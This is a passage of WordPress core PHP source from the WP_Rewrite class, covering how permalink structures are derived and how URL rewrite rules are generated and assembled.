if ( empty( $this->permalink_structure ) ) {
return false;
}
// If the index is not in the permalink, we're using mod_rewrite.
return preg_match( '#^/*' . $this->index . '#', $this->permalink_structure );
}
/**
* Determines whether permalinks are being used and rewrite module is enabled.
*
* Using permalinks and index.php is not in the URL.
*
* @since 1.5.0
*
* @return bool Whether permalink links are enabled and index.php is NOT in the URL.
*/
public function using_mod_rewrite_permalinks() {
return $this->using_permalinks() && ! $this->using_index_permalinks();
}
/**
* Indexes for matches for usage in preg_*() functions.
*
* The format of the string is, with empty matches property value, '$NUM'.
* The 'NUM' will be replaced with the value in the $number parameter. With
* the matches property not empty, the value of the returned string will
* contain that value of the matches property. The format then will be
* '$MATCHES[NUM]', with MATCHES as the value in the property and NUM the
* value of the $number parameter.
*
* @since 1.5.0
*
* @param int $number Index number.
* @return string
*/
public function preg_index( $number ) {
$match_prefix = '$';
$match_suffix = '';
if ( ! empty( $this->matches ) ) {
$match_prefix = '$' . $this->matches . '[';
$match_suffix = ']';
}
return "$match_prefix$number$match_suffix";
}
/**
* Retrieves all pages and attachments for pages URIs.
*
* The attachments are for those that have pages as parents and will be
* retrieved.
*
* @since 2.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return array Array of page URIs as first element and attachment URIs as second element.
*/
public function page_uri_index() {
global $wpdb;
// Get pages in order of hierarchy, i.e. children after parents.
$pages = $wpdb->get_results( "SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'page' AND post_status != 'auto-draft'" );
$posts = get_page_hierarchy( $pages );
// If we have no pages get out quick.
if ( ! $posts ) {
return array( array(), array() );
}
// Now reverse it, because we need parents after children for rewrite rules to work properly.
$posts = array_reverse( $posts, true );
$page_uris = array();
$page_attachment_uris = array();
foreach ( $posts as $id => $post ) {
// URL => page name.
$uri = get_page_uri( $id );
$attachments = $wpdb->get_results( $wpdb->prepare( "SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'attachment' AND post_parent = %d", $id ) );
if ( ! empty( $attachments ) ) {
foreach ( $attachments as $attachment ) {
$attach_uri = get_page_uri( $attachment->ID );
$page_attachment_uris[ $attach_uri ] = $attachment->ID;
}
}
$page_uris[ $uri ] = $id;
}
return array( $page_uris, $page_attachment_uris );
}
/**
* Retrieves all of the rewrite rules for pages.
*
* @since 1.5.0
*
* @return string[] Page rewrite rules.
*/
public function page_rewrite_rules() {
// The extra .? at the beginning prevents clashes with other regular expressions in the rules array.
$this->add_rewrite_tag( '%pagename%', '(.?.+?)', 'pagename=' );
return $this->generate_rewrite_rules( $this->get_page_permastruct(), EP_PAGES, true, true, false, false );
}
/**
* Retrieves date permalink structure, with year, month, and day.
*
* The permalink structure for the date, if not set already depends on the
* permalink structure. It can be one of three formats. The first is year,
* month, day; the second is day, month, year; and the last format is month,
* day, year. These are matched against the permalink structure for which
* one is used. If none matches, then the default will be used, which is
* year, month, day.
*
* Prevents post ID and date permalinks from overlapping. In the case of
* post_id, the date permalink will be prepended with front permalink with
* 'date/' before the actual permalink to form the complete date permalink
* structure.
*
* @since 1.5.0
*
* @return string|false Date permalink structure on success, false on failure.
*/
public function get_date_permastruct() {
if ( isset( $this->date_structure ) ) {
return $this->date_structure;
}
if ( empty( $this->permalink_structure ) ) {
$this->date_structure = '';
return false;
}
// The date permalink must have year, month, and day separated by slashes.
$endians = array( '%year%/%monthnum%/%day%', '%day%/%monthnum%/%year%', '%monthnum%/%day%/%year%' );
$this->date_structure = '';
$date_endian = '';
foreach ( $endians as $endian ) {
if ( str_contains( $this->permalink_structure, $endian ) ) {
$date_endian = $endian;
break;
}
}
if ( empty( $date_endian ) ) {
$date_endian = '%year%/%monthnum%/%day%';
}
/*
* Do not allow the date tags and %post_id% to overlap in the permalink
* structure. If they do, move the date tags to $front/date/.
*/
$front = $this->front;
preg_match_all( '/%.+?%/', $this->permalink_structure, $tokens );
$tok_index = 1;
foreach ( (array) $tokens[0] as $token ) {
if ( '%post_id%' === $token && ( $tok_index <= 3 ) ) {
$front = $front . 'date/';
break;
}
++$tok_index;
}
$this->date_structure = $front . $date_endian;
return $this->date_structure;
}
/**
* Retrieves the year permalink structure without month and day.
*
* Gets the date permalink structure and strips out the month and day
* permalink structures.
*
* @since 1.5.0
*
* @return string|false Year permalink structure on success, false on failure.
*/
public function get_year_permastruct() {
$structure = $this->get_date_permastruct();
if ( empty( $structure ) ) {
return false;
}
$structure = str_replace( '%monthnum%', '', $structure );
$structure = str_replace( '%day%', '', $structure );
$structure = preg_replace( '#/+#', '/', $structure );
return $structure;
}
/**
* Retrieves the month permalink structure without day and with year.
*
* Gets the date permalink structure and strips out the day permalink
* structures. Keeps the year permalink structure.
*
* @since 1.5.0
*
* @return string|false Year/Month permalink structure on success, false on failure.
*/
public function get_month_permastruct() {
$structure = $this->get_date_permastruct();
if ( empty( $structure ) ) {
return false;
}
$structure = str_replace( '%day%', '', $structure );
$structure = preg_replace( '#/+#', '/', $structure );
return $structure;
}
/**
* Retrieves the day permalink structure with month and year.
*
* Keeps date permalink structure with all year, month, and day.
*
* @since 1.5.0
*
* @return string|false Year/Month/Day permalink structure on success, false on failure.
*/
public function get_day_permastruct() {
return $this->get_date_permastruct();
}
/**
* Retrieves the permalink structure for categories.
*
* If the category_base property has no value, then the category structure
* will have the front property value, followed by 'category', and finally
* '%category%'. If it does, then the root property will be used, along with
* the category_base property value.
*
* @since 1.5.0
*
* @return string|false Category permalink structure on success, false on failure.
*/
public function get_category_permastruct() {
return $this->get_extra_permastruct( 'category' );
}
/**
* Retrieves the permalink structure for tags.
*
* If the tag_base property has no value, then the tag structure will have
* the front property value, followed by 'tag', and finally '%tag%'. If it
* does, then the root property will be used, along with the tag_base
* property value.
*
* @since 2.3.0
*
* @return string|false Tag permalink structure on success, false on failure.
*/
public function get_tag_permastruct() {
return $this->get_extra_permastruct( 'post_tag' );
}
/**
* Retrieves an extra permalink structure by name.
*
* @since 2.5.0
*
* @param string $name Permalink structure name.
* @return string|false Permalink structure string on success, false on failure.
*/
public function get_extra_permastruct( $name ) {
if ( empty( $this->permalink_structure ) ) {
return false;
}
if ( isset( $this->extra_permastructs[ $name ] ) ) {
return $this->extra_permastructs[ $name ]['struct'];
}
return false;
}
/**
* Retrieves the author permalink structure.
*
* The permalink structure is front property, author base, and finally
* '/%author%'. Will set the author_structure property and then return it
* without attempting to set the value again.
*
* @since 1.5.0
*
* @return string|false Author permalink structure on success, false on failure.
*/
public function get_author_permastruct() {
if ( isset( $this->author_structure ) ) {
return $this->author_structure;
}
if ( empty( $this->permalink_structure ) ) {
$this->author_structure = '';
return false;
}
$this->author_structure = $this->front . $this->author_base . '/%author%';
return $this->author_structure;
}
/**
* Retrieves the search permalink structure.
*
* The permalink structure is root property, search base, and finally
* '/%search%'. Will set the search_structure property and then return it
* without attempting to set the value again.
*
* @since 1.5.0
*
* @return string|false Search permalink structure on success, false on failure.
*/
public function get_search_permastruct() {
if ( isset( $this->search_structure ) ) {
return $this->search_structure;
}
if ( empty( $this->permalink_structure ) ) {
$this->search_structure = '';
return false;
}
$this->search_structure = $this->root . $this->search_base . '/%search%';
return $this->search_structure;
}
/**
* Retrieves the page permalink structure.
*
* The permalink structure is root property, and '%pagename%'. Will set the
* page_structure property and then return it without attempting to set the
* value again.
*
* @since 1.5.0
*
* @return string|false Page permalink structure on success, false on failure.
*/
public function get_page_permastruct() {
if ( isset( $this->page_structure ) ) {
return $this->page_structure;
}
if ( empty( $this->permalink_structure ) ) {
$this->page_structure = '';
return false;
}
$this->page_structure = $this->root . '%pagename%';
return $this->page_structure;
}
/**
* Retrieves the feed permalink structure.
*
* The permalink structure is root property, feed base, and finally
* '/%feed%'. Will set the feed_structure property and then return it
* without attempting to set the value again.
*
* @since 1.5.0
*
* @return string|false Feed permalink structure on success, false on failure.
*/
public function get_feed_permastruct() {
if ( isset( $this->feed_structure ) ) {
return $this->feed_structure;
}
if ( empty( $this->permalink_structure ) ) {
$this->feed_structure = '';
return false;
}
$this->feed_structure = $this->root . $this->feed_base . '/%feed%';
return $this->feed_structure;
}
/**
* Retrieves the comment feed permalink structure.
*
* The permalink structure is root property, comment base property, feed
* base and finally '/%feed%'. Will set the comment_feed_structure property
* and then return it without attempting to set the value again.
*
* @since 1.5.0
*
* @return string|false Comment feed permalink structure on success, false on failure.
*/
public function get_comment_feed_permastruct() {
if ( isset( $this->comment_feed_structure ) ) {
return $this->comment_feed_structure;
}
if ( empty( $this->permalink_structure ) ) {
$this->comment_feed_structure = '';
return false;
}
$this->comment_feed_structure = $this->root . $this->comments_base . '/' . $this->feed_base . '/%feed%';
return $this->comment_feed_structure;
}
/**
* Adds or updates existing rewrite tags (e.g. %postname%).
*
* If the tag already exists, replace the existing pattern and query for
* that tag, otherwise add the new tag.
*
* @since 1.5.0
*
* @see WP_Rewrite::$rewritecode
* @see WP_Rewrite::$rewritereplace
* @see WP_Rewrite::$queryreplace
*
* @param string $tag Name of the rewrite tag to add or update.
* @param string $regex Regular expression to substitute the tag for in rewrite rules.
* @param string $query String to append to the rewritten query. Must end in '='.
*/
public function add_rewrite_tag( $tag, $regex, $query ) {
$position = array_search( $tag, $this->rewritecode, true );
if ( false !== $position && null !== $position ) {
$this->rewritereplace[ $position ] = $regex;
$this->queryreplace[ $position ] = $query;
} else {
$this->rewritecode[] = $tag;
$this->rewritereplace[] = $regex;
$this->queryreplace[] = $query;
}
}
/**
* Removes an existing rewrite tag.
*
* @since 4.5.0
*
* @see WP_Rewrite::$rewritecode
* @see WP_Rewrite::$rewritereplace
* @see WP_Rewrite::$queryreplace
*
* @param string $tag Name of the rewrite tag to remove.
*/
public function remove_rewrite_tag( $tag ) {
$position = array_search( $tag, $this->rewritecode, true );
if ( false !== $position && null !== $position ) {
unset( $this->rewritecode[ $position ] );
unset( $this->rewritereplace[ $position ] );
unset( $this->queryreplace[ $position ] );
}
}
/**
* Generates rewrite rules from a permalink structure.
*
* The main WP_Rewrite function for building the rewrite rule list. The
* contents of the function is a mix of black magic and regular expressions,
* so best just ignore the contents and move to the parameters.
*
* @since 1.5.0
*
* @param string $permalink_structure The permalink structure.
* @param int $ep_mask Optional. Endpoint mask defining what endpoints are added to the structure.
* Accepts a mask of:
* - `EP_ALL`
* - `EP_NONE`
* - `EP_ALL_ARCHIVES`
* - `EP_ATTACHMENT`
* - `EP_AUTHORS`
* - `EP_CATEGORIES`
* - `EP_COMMENTS`
* - `EP_DATE`
* - `EP_DAY`
* - `EP_MONTH`
* - `EP_PAGES`
* - `EP_PERMALINK`
* - `EP_ROOT`
* - `EP_SEARCH`
* - `EP_TAGS`
* - `EP_YEAR`
* Default `EP_NONE`.
* @param bool $paged Optional. Whether archive pagination rules should be added for the structure.
* Default true.
* @param bool $feed Optional. Whether feed rewrite rules should be added for the structure.
* Default true.
* @param bool $forcomments Optional. Whether the feed rules should be a query for a comments feed.
* Default false.
* @param bool $walk_dirs Optional. Whether the 'directories' making up the structure should be walked
* over and rewrite rules built for each in-turn. Default true.
* @param bool $endpoints Optional. Whether endpoints should be applied to the generated rewrite rules.
* Default true.
* @return string[] Array of rewrite rules keyed by their regex pattern.
*/
public function generate_rewrite_rules( $permalink_structure, $ep_mask = EP_NONE, $paged = true, $feed = true, $forcomments = false, $walk_dirs = true, $endpoints = true ) {
// Build a regex to match the feed section of URLs, something like (feed|atom|rss|rss2)/?
$feedregex2 = '';
foreach ( (array) $this->feeds as $feed_name ) {
$feedregex2 .= $feed_name . '|';
}
$feedregex2 = '(' . trim( $feedregex2, '|' ) . ')/?$';
/*
* $feedregex is identical but with /feed/ added on as well, so URLs like <permalink>/feed/atom
* and <permalink>/atom are both possible
*/
$feedregex = $this->feed_base . '/' . $feedregex2;
// Build a regex to match the trackback and page/xx parts of URLs.
$trackbackregex = 'trackback/?$';
$pageregex = $this->pagination_base . '/?([0-9]{1,})/?$';
$commentregex = $this->comments_pagination_base . '-([0-9]{1,})/?$';
$embedregex = 'embed/?$';
// Build up an array of endpoint regexes to append => queries to append.
if ( $endpoints ) {
$ep_query_append = array();
foreach ( (array) $this->endpoints as $endpoint ) {
// Match everything after the endpoint name, but allow for nothing to appear there.
$epmatch = $endpoint[1] . '(/(.*))?/?$';
// This will be appended on to the rest of the query for each dir.
$epquery = '&' . $endpoint[2] . '=';
$ep_query_append[ $epmatch ] = array( $endpoint[0], $epquery );
}
}
// Get everything up to the first rewrite tag.
$front = substr( $permalink_structure, 0, strpos( $permalink_structure, '%' ) );
// Build an array of the tags (note that said array ends up being in $tokens[0]).
preg_match_all( '/%.+?%/', $permalink_structure, $tokens );
$num_tokens = count( $tokens[0] );
$index = $this->index; // Probably 'index.php'.
$feedindex = $index;
$trackbackindex = $index;
$embedindex = $index;
/*
* Build a list from the rewritecode and queryreplace arrays, that will look something
* like tagname=$matches[i] where i is the current $i.
*/
$queries = array();
for ( $i = 0; $i < $num_tokens; ++$i ) {
if ( 0 < $i ) {
$queries[ $i ] = $queries[ $i - 1 ] . '&';
} else {
$queries[ $i ] = '';
}
$query_token = str_replace( $this->rewritecode, $this->queryreplace, $tokens[0][ $i ] ) . $this->preg_index( $i + 1 );
$queries[ $i ] .= $query_token;
}
// Get the structure, minus any cruft (stuff that isn't tags) at the front.
$structure = $permalink_structure;
if ( '/' !== $front ) {
$structure = str_replace( $front, '', $structure );
}
/*
* Create a list of dirs to walk over, making rewrite rules for each level
* so for example, a $structure of /%year%/%monthnum%/%postname% would create
* rewrite rules for /%year%/, /%year%/%monthnum%/ and /%year%/%monthnum%/%postname%
*/
$structure = trim( $structure, '/' );
$dirs = $walk_dirs ? explode( '/', $structure ) : array( $structure );
$num_dirs = count( $dirs );
// Strip slashes from the front of $front.
$front = preg_replace( '|^/+|', '', $front );
// The main workhorse loop.
$post_rewrite = array();
$struct = $front;
for ( $j = 0; $j < $num_dirs; ++$j ) {
// Get the struct for this dir, and trim slashes off the front.
$struct .= $dirs[ $j ] . '/'; // Accumulate. see comment near explode('/', $structure) above.
$struct = ltrim( $struct, '/' );
// Replace tags with regexes.
$match = str_replace( $this->rewritecode, $this->rewritereplace, $struct );
// Make a list of tags, and store how many there are in $num_toks.
$num_toks = preg_match_all( '/%.+?%/', $struct, $toks );
// Get the 'tagname=$matches[i]'.
$query = ( ! empty( $num_toks ) && isset( $queries[ $num_toks - 1 ] ) ) ? $queries[ $num_toks - 1 ] : '';
// Set up $ep_mask_specific which is used to match more specific URL types.
switch ( $dirs[ $j ] ) {
case '%year%':
$ep_mask_specific = EP_YEAR;
break;
case '%monthnum%':
$ep_mask_specific = EP_MONTH;
break;
case '%day%':
$ep_mask_specific = EP_DAY;
break;
default:
$ep_mask_specific = EP_NONE;
}
// Create query for /page/xx.
$pagematch = $match . $pageregex;
$pagequery = $index . '?' . $query . '&paged=' . $this->preg_index( $num_toks + 1 );
// Create query for /comment-page-xx.
$commentmatch = $match . $commentregex;
$commentquery = $index . '?' . $query . '&cpage=' . $this->preg_index( $num_toks + 1 );
if ( get_option( 'page_on_front' ) ) {
// Create query for Root /comment-page-xx.
$rootcommentmatch = $match . $commentregex;
$rootcommentquery = $index . '?' . $query . '&page_id=' . get_option( 'page_on_front' ) . '&cpage=' . $this->preg_index( $num_toks + 1 );
}
// Create query for /feed/(feed|atom|rss|rss2|rdf).
$feedmatch = $match . $feedregex;
$feedquery = $feedindex . '?' . $query . '&feed=' . $this->preg_index( $num_toks + 1 );
// Create query for /(feed|atom|rss|rss2|rdf) (see comment near creation of $feedregex).
$feedmatch2 = $match . $feedregex2;
$feedquery2 = $feedindex . '?' . $query . '&feed=' . $this->preg_index( $num_toks + 1 );
// Create query and regex for embeds.
$embedmatch = $match . $embedregex;
$embedquery = $embedindex . '?' . $query . '&embed=true';
// If asked to, turn the feed queries into comment feed ones.
if ( $forcomments ) {
$feedquery .= '&withcomments=1';
$feedquery2 .= '&withcomments=1';
}
// Start creating the array of rewrites for this dir.
$rewrite = array();
// ...adding on /feed/ regexes => queries.
if ( $feed ) {
$rewrite = array(
$feedmatch => $feedquery,
$feedmatch2 => $feedquery2,
$embedmatch => $embedquery,
);
}
// ...and /page/xx ones.
if ( $paged ) {
$rewrite = array_merge( $rewrite, array( $pagematch => $pagequery ) );
}
// Only on pages with comments add ../comment-page-xx/.
if ( EP_PAGES & $ep_mask || EP_PERMALINK & $ep_mask ) {
$rewrite = array_merge( $rewrite, array( $commentmatch => $commentquery ) );
} elseif ( EP_ROOT & $ep_mask && get_option( 'page_on_front' ) ) {
$rewrite = array_merge( $rewrite, array( $rootcommentmatch => $rootcommentquery ) );
}
// Do endpoints.
if ( $endpoints ) {
foreach ( (array) $ep_query_append as $regex => $ep ) {
// Add the endpoints on if the mask fits.
if ( $ep[0] & $ep_mask || $ep[0] & $ep_mask_specific ) {
$rewrite[ $match . $regex ] = $index . '?' . $query . $ep[1] . $this->preg_index( $num_toks + 2 );
}
}
}
// If we've got some tags in this dir.
if ( $num_toks ) {
$post = false;
$page = false;
/*
* Check to see if this dir is permalink-level: i.e. the structure specifies an
* individual post. Do this by checking it contains at least one of 1) post name,
* 2) post ID, 3) page name, 4) timestamp (year, month, day, hour, second and
* minute all present). Set these flags now as we need them for the endpoints.
*/
if ( str_contains( $struct, '%postname%' )
|| str_contains( $struct, '%post_id%' )
|| str_contains( $struct, '%pagename%' )
|| ( str_contains( $struct, '%year%' )
&& str_contains( $struct, '%monthnum%' )
&& str_contains( $struct, '%day%' )
&& str_contains( $struct, '%hour%' )
&& str_contains( $struct, '%minute%' )
&& str_contains( $struct, '%second%' ) )
) {
$post = true;
if ( str_contains( $struct, '%pagename%' ) ) {
$page = true;
}
}
if ( ! $post ) {
// For custom post types, we need to add on endpoints as well.
foreach ( get_post_types( array( '_builtin' => false ) ) as $ptype ) {
if ( str_contains( $struct, "%$ptype%" ) ) {
$post = true;
// This is for page style attachment URLs.
$page = is_post_type_hierarchical( $ptype );
break;
}
}
}
// If creating rules for a permalink, do all the endpoints like attachments etc.
if ( $post ) {
// Create query and regex for trackback.
$trackbackmatch = $match . $trackbackregex;
$trackbackquery = $trackbackindex . '?' . $query . '&tb=1';
// Create query and regex for embeds.
$embedmatch = $match . $embedregex;
$embedquery = $embedindex . '?' . $query . '&embed=true';
// Trim slashes from the end of the regex for this dir.
$match = rtrim( $match, '/' );
// Get rid of brackets.
$submatchbase = str_replace( array( '(', ')' ), '', $match );
// Add a rule for at attachments, which take the form of <permalink>/some-text.
$sub1 = $submatchbase . '/([^/]+)/';
// Add trackback regex <permalink>/trackback/...
$sub1tb = $sub1 . $trackbackregex;
// And <permalink>/feed/(atom|...)
$sub1feed = $sub1 . $feedregex;
// And <permalink>/(feed|atom...)
$sub1feed2 = $sub1 . $feedregex2;
// And <permalink>/comment-page-xx
$sub1comment = $sub1 . $commentregex;
// And <permalink>/embed/...
$sub1embed = $sub1 . $embedregex;
/*
* Add another rule to match attachments in the explicit form:
* <permalink>/attachment/some-text
*/
$sub2 = $submatchbase . '/attachment/([^/]+)/';
// And add trackbacks <permalink>/attachment/trackback.
$sub2tb = $sub2 . $trackbackregex;
// Feeds, <permalink>/attachment/feed/(atom|...)
$sub2feed = $sub2 . $feedregex;
// And feeds again on to this <permalink>/attachment/(feed|atom...)
$sub2feed2 = $sub2 . $feedregex2;
// And <permalink>/comment-page-xx
$sub2comment = $sub2 . $commentregex;
// And <permalink>/embed/...
$sub2embed = $sub2 . $embedregex;
// Create queries for these extra tag-ons we've just dealt with.
$subquery = $index . '?attachment=' . $this->preg_index( 1 );
$subtbquery = $subquery . '&tb=1';
$subfeedquery = $subquery . '&feed=' . $this->preg_index( 2 );
$subcommentquery = $subquery . '&cpage=' . $this->preg_index( 2 );
$subembedquery = $subquery . '&embed=true';
// Do endpoints for attachments.
if ( ! empty( $endpoints ) ) {
foreach ( (array) $ep_query_append as $regex => $ep ) {
if ( $ep[0] & EP_ATTACHMENT ) {
$rewrite[ $sub1 . $regex ] = $subquery . $ep[1] . $this->preg_index( 3 );
$rewrite[ $sub2 . $regex ] = $subquery . $ep[1] . $this->preg_index( 3 );
}
}
}
/*
* Now we've finished with endpoints, finish off the $sub1 and $sub2 matches
* add a ? as we don't have to match that last slash, and finally a $ so we
* match to the end of the URL
*/
$sub1 .= '?$';
$sub2 .= '?$';
/*
* Post pagination, e.g. <permalink>/2/
* Previously: '(/[0-9]+)?/?$', which produced '/2' for page.
* When cast to int, returned 0.
*/
$match = $match . '(?:/([0-9]+))?/?$';
$query = $index . '?' . $query . '&page=' . $this->preg_index( $num_toks + 1 );
// Not matching a permalink so this is a lot simpler.
} else {
// Close the match and finalize the query.
$match .= '?$';
$query = $index . '?' . $query;
}
/*
* Create the final array for this dir by joining the $rewrite array (which currently
* only contains rules/queries for trackback, pages etc) to the main regex/query for
* this dir
*/
$rewrite = array_merge( $rewrite, array( $match => $query ) );
// If we're matching a permalink, add those extras (attachments etc) on.
if ( $post ) {
// Add trackback.
$rewrite = array_merge( array( $trackbackmatch => $trackbackquery ), $rewrite );
// Add embed.
$rewrite = array_merge( array( $embedmatch => $embedquery ), $rewrite );
// Add regexes/queries for attachments, attachment trackbacks and so on.
if ( ! $page ) {
// Require <permalink>/attachment/stuff form for pages because of confusion with subpages.
$rewrite = array_merge(
$rewrite,
array(
$sub1 => $subquery,
$sub1tb => $subtbquery,
$sub1feed => $subfeedquery,
$sub1feed2 => $subfeedquery,
$sub1comment => $subcommentquery,
$sub1embed => $subembedquery,
)
);
}
$rewrite = array_merge(
array(
$sub2 => $subquery,
$sub2tb => $subtbquery,
$sub2feed => $subfeedquery,
$sub2feed2 => $subfeedquery,
$sub2comment => $subcommentquery,
$sub2embed => $subembedquery,
),
$rewrite
);
}
}
// Add the rules for this dir to the accumulating $post_rewrite.
$post_rewrite = array_merge( $rewrite, $post_rewrite );
}
// The finished rules. phew!
return $post_rewrite;
}
/**
* Generates rewrite rules with permalink structure and walking directory only.
*
* Shorten version of WP_Rewrite::generate_rewrite_rules() that allows for shorter
* list of parameters. See the method for longer description of what generating
* rewrite rules does.
*
* @since 1.5.0
*
* @see WP_Rewrite::generate_rewrite_rules() See for long description and rest of parameters.
*
* @param string $permalink_structure The permalink structure to generate rules.
* @param bool $walk_dirs Optional. Whether to create list of directories to walk over.
* Default false.
* @return array An array of rewrite rules keyed by their regex pattern.
*/
public function generate_rewrite_rule( $permalink_structure, $walk_dirs = false ) {
return $this->generate_rewrite_rules( $permalink_structure, EP_NONE, false, false, false, $walk_dirs );
}
/**
* Constructs rewrite matches and queries from permalink structure.
*
* Runs the action {@see 'generate_rewrite_rules'} with the parameter that is an
* reference to the current WP_Rewrite instance to further manipulate the
* permalink structures and rewrite rules. Runs the {@see 'rewrite_rules_array'}
* filter on the full rewrite rule array.
*
* There are two ways to manipulate the rewrite rules, one by hooking into
* the {@see 'generate_rewrite_rules'} action and gaining full control of the
* object or just manipulating the rewrite rule array before it is passed
* from the function.
*
* @since 1.5.0
*
* @return string[] An associative array of matches and queries.
*/
public function rewrite_rules() {
$rewrite = array();
if ( empty( $this->permalink_structure ) ) {
return $rewrite;
}
// robots.txt -- only if installed at the root.
$home_path = parse_url( home_url() );
$robots_rewrite = ( empty( $home_path['path'] ) || '/' === $home_path['path'] ) ? array( 'robots\.txt$' => $this->index . '?robots=1' ) : array();
// favicon.ico -- only if installed at the root.
$favicon_rewrite = ( empty( $home_path['path'] ) || '/' === $home_path['path'] ) ? array( 'favicon\.ico$' => $this->index . '?favicon=1' ) : array();
// sitemap.xml -- only if installed at the root.
$sitemap_rewrite = ( empty( $home_path['path'] ) || '/' === $home_path['path'] ) ? array( 'sitemap\.xml' => $this->index . '??sitemap=index' ) : array();
// Old feed and service files.
$deprecated_files = array(
'.*wp-(atom|rdf|rss|rss2|feed|commentsrss2)\.php$' => $this->index . '?feed=old',
'.*wp-app\.php(/.*)?$' => $this->index . '?error=403',
);
// Registration rules.
$registration_pages = array();
if ( is_multisite() && is_main_site() ) {
$registration_pages['.*wp-signup.php$'] = $this->index . '?signup=true';
$registration_pages['.*wp-activate.php$'] = $this->index . '?activate=true';
}
// Deprecated.
$registration_pages['.*wp-register.php$'] = $this->index . '?register=true';
// Post rewrite rules.
$post_rewrite = $this->generate_rewrite_rules( $this->permalink_structure, EP_PERMALINK );
/**
* Filters rewrite rules used for "post" archives.
*
* @since 1.5.0
*
* @param string[] $post_rewrite Array of rewrite rules for posts, keyed by their regex pattern.
*/
$post_rewrite = apply_filters( 'post_rewrite_rules', $post_rewrite );
// Date rewrite rules.
$date_rewrite = $this->generate_rewrite_rules( $this->get_date_permastruct(), EP_DATE );
/**
* Filters rewrite rules used for date archives.
*
* Likely date archives would include `/yyyy/`, `/yyyy/mm/`, and `/yyyy/mm/dd/`.
*
* @since 1.5.0
*
* @param string[] $date_rewrite Array of rewrite rules for date archives, keyed by their regex pattern.
*/
$date_rewrite = apply_filters( 'date_rewrite_rules', $date_rewrite );
// Root-level rewrite rules.
$root_rewrite = $this->generate_rewrite_rules( $this->root . '/', EP_ROOT );
/**
* Filters rewrite rules used for root-level archives.
*
* Likely root-level archives would include pagination rules for the homepage
* as well as site-wide post feeds (e.g. `/feed/`, and `/feed/atom/`).
*
* @since 1.5.0
*
* @param string[] $root_rewrite Array of root-level rewrite rules, keyed by their regex pattern.
*/
$root_rewrite = apply_filters( 'root_rewrite_rules', $root_rewrite );
// Comments rewrite rules.
$comments_rewrite = $this->generate_rewrite_rules( $this->root . $this->comments_base, EP_COMMENTS, false, true, true, false );
/**
* Filters rewrite rules used for comment feed archives.
*
* Likely comments feed archives include `/comments/feed/` and `/comments/feed/atom/`.
*
* @since 1.5.0
*
* @param string[] $comments_rewrite Array of rewrite rules for the site-wide comments feeds, keyed by their regex pattern.
*/
$comments_rewrite = apply_filters( 'comments_rewrite_rules', $comments_rewrite );
// Search rewrite rules.
$search_structure = $this->get_search_permastruct();
$search_rewrite = $this->generate_rewrite_rules( $search_structure, EP_SEARCH );
/**
* Filters rewrite rules used for search archives.
*
* Likely search-related archives include `/search/search+query/` as well as
* pagination and feed paths for a search.
*
* @since 1.5.0
*
* @param string[] $search_rewrite Array of rewrite rules for search queries, keyed by their regex pattern.
*/
$search_rewrite = apply_filters( 'search_rewrite_rules', $search_rewrite );
// Author rewrite rules.
$author_rewrite = $this->generate_rewrite_rules( $this->get_author_permastruct(), EP_AUTHORS );
/**
* Filters rewrite rules used for author archives.
*
* Likely author archives would include `/author/author-name/`, as well as
* pagination and feed paths for author archives.
*
* @since 1.5.0
*
* @param string[] $author_rewrite Array of rewrite rules for author archives, keyed by their regex pattern.
*/
$author_rewrite = apply_filters( 'author_rewrite_rules', $author_rewrite );
// Pages rewrite rules.
$page_rewrite = $this->page_rewrite_rules();
/**
* Filters rewrite rules used for "page" post type archives.
*
* @since 1.5.0
*
* @param string[] $page_rewrite Array of rewrite rules for the "page" post type, keyed by their regex pattern.
*/
$page_rewrite = apply_filters( 'page_rewrite_rules', $page_rewrite );
// Extra permastructs.
foreach ( $this->extra_permastructs as $permastructname => $struct ) {
if ( is_array( $struct ) ) {
if ( count( $struct ) === 2 ) {
$rules = $this->generate_rewrite_rules( $struct[0], $struct[1] );
} else {
$rules = $this->generate_rewrite_rules( $struct['struct'], $struct['ep_mask'], $struct['paged'], $struct['feed'], $struct['forcomments'], $struct['walk_dirs'], $struct['endpoints'] );
}
} else {
$rules = $this->generate_rewrite_rules( $struct );
}
/**
* Filters rewrite rules used for individual permastructs.
*
* The dynamic portion of the hook name, `$permastructname`, refers
* to the name of the registered permastruct.
*
* Possible hook names include:
*
* - `category_rewrite_rules`
* - `post_format_rewrite_rules`
* - `post_tag_rewrite_rules`
*
* @since 3.1.0
*
* @param string[] $rules Array of rewrite rules generated for the current permastruct, keyed by their regex pattern.
*/
$rules = apply_filters( "{$permastructname}_rewrite_rules", $rules );
if ( 'post_tag' === $permastructname ) {
/**
* Filters rewrite rules used specifically for Tags.
*
* @since 2.3.0
* @deprecated 3.1.0 Use {@see 'post_tag_rewrite_rules'} instead.
*
* @param string[] $rules Array of rewrite rules generated for tags, keyed by their regex pattern.
*/
$rules = apply_filters_deprecated( 'tag_rewrite_rules', array( $rules ), '3.1.0', 'post_tag_rewrite_rules' );
}
$this->extra_rules_top = array_merge( $this->extra_rules_top, $rules );
}
// Put them together.
if ( $this->use_verbose_page_rules ) {
$this->rules = array_merge( $this->extra_rules_top, $robots_rewrite, $favicon_rewrite, $sitemap_rewrite, $deprecated_files, $registration_pages, $root_rewrite, $comments_rewrite, $search_rewrite, $author_rewrite, $date_rewrite, $page_rewrite, $post_rewrite, $this->extra_rules );
} else {
$this->rules = array_merge( $this->extra_rules_top, $robots_rewrite, $favicon_rewrite, $sitemap_rewrite, $deprecated_files, $registration_pages, $root_rewrite, $comments_rewrite, $search_rewrite, $author_rewrite, $date_rewrite, $post_rewrite, $page_rewrite, $this->extra_rules );
}
/**
* Fires after the rewrite rules are generated.
*
* @since 1.5.0
*
* @param WP_Rewrite $wp_rewrite Current WP_Rewrite instance (passed by reference).
*/
do_action_ref_array( 'generate_rewrite_rules', array( &$this ) );
/**
* Filters the full set of generated rewrite rules.
*
* @since 1.5.0
*
* @param string[] $rules The compiled array of rewrite rules, keyed by their regex pattern.
*/
$this->rules = apply_filters( 'rewrite_rules_array', $this->rules );
return $this->rules;
}
/**
* Retrieves the rewrite rules.
*
* The difference between this method and WP_Rewrite::rewrite_rules() is that
* this method stores the rewrite rules in the 'rewrite_rules' option and retrieves
* it. This prevents having to process all of the permalinks to get the rewrite rules
* in the form of caching.
*
* @since 1.5.0
*
* @return string[] Array of rewrite rules keyed by their regex pattern.
*/
public function wp_rewrite_rules() {
$this->rules = get_option( 'rewrite_rules' );
if ( empty( $this->rules ) ) {
$this->refresh_rewrite_rules();
